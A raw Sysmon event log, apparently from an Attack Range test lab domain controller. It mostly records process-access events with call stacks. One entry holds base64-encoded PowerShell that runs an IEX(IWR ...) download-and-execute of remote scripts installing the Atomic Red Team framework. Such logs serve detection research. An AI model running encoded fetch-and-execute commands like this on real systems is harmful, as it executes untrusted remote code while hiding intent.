09:10:33.442{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_ptnbgjrs.kys.ps12020-10-09 09:10:33.442 10341000x80000000000000003593Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.427{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003592Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.411{A5F018FF-2908-5F80-B100-000000007F01}46684684C:\Windows\system32\conhost.exe{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003591Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.411{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003590Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.411{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003589Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.411{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003588Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.411{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003587Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.411{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003586Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.411{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003585Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.411{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003584Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.411{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003583Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.411{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003582Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.411{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003581Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.411{A5F018FF-2908-5F80-B400-000000007F01}44721396C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|UNKNOWN(00007FFAA8DF8890) 154100x80000000000000003580Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.415{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXE"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAEkAbgB0AGUAcgBuAGUAdAAgAEUAeABwAGwAbwByAGUAcgBcAE0AYQBpAG4AIgAgAC0ATgBhAG0AZQAgACIARABpAHMAYQBiAGwAZQBGAGkAcgBzAHQAUgB1AG4AQwB1AHMAdABvAG0AaQB6AGUAIgAgAC0AVgBhAGwAdQBlACAAMgAKAEkARQBYACAAKABJAFcAUgAgAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcgBlAGQAYwBhAG4AYQByAHkAYwBvAC8AaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAC8AbQBhAHMAdABlAHIALwBpAG4AcwB0AGEAbABsAC0AYQB0AG8AbQBpAGMAcgBlAGQAdABlAGEAbQAuAHAAcwAxACkACgBJAG4AcwB0AGEAbABsAC0AQQB0AG8AbQBpAGMAUgBlAGQAVABlAGEAbQAgAC0ARgBvAHIAYwBlAAoASQBFAFgAIAAoAEkAVwBSACAAJwBoAHQAdABwAHMAOgAvAC8AcgBhAHcALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvAHIAZQBkAGMAYQBuAGEAcgB5AGMAbwAvAGkAbgB2AG8AawBlAC0AYQB0AG8AbQBpAGMAcgBlAGQAdABlAGEAbQAvAG0AYQBzAHQAZQByAC8AaQBuAHMAdABhAGwAbAAtAGEAdABvAG0AaQBjAHMAZgBvAGwAZABlAHIALgBwAHMAMQAnACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwApAAoASQBuAHMAdABhAGwAbAAtAEEAdABvAG0AaQBjAHMARgBvAGwAZABlAHIAIAAtAEYAbwByAGMAZQAgAC0AUgBlAHAAbwBPAHcAbgBlAHIAIAAiAHMAcABsAHUAbgBrACIAIAAtAEIAcgBhAG4AYwBoACAAIgBsAG8AYwBhAGwALQBtAGEAcwB0AGUAcgAiAA==C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2908-5F80-2264-060000000000}0x664220HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-2908-5F80-B400-000000007F01}4472C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 10341000x80000000000000003579Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.208{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003578Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.208{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003577Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.208{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000003576Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:33.177{A5F018FF-2909-5F80-B600-000000007F01}808C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeC:\Users\Administrator\AppData\Local\Temp\nc4tn1mb.dll2020-10-09 09:10:33.083 10341000x80000000000000003575Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.177{A5F018FF-2908-5F80-B100-000000007F01}46684684C:\Windows\system32\conhost.exe{A5F018FF-2909-5F80-B700-000000007F01}4972C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003574Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.177{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003573Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.177{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003572Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.177{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003571Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:33.177{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003570Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 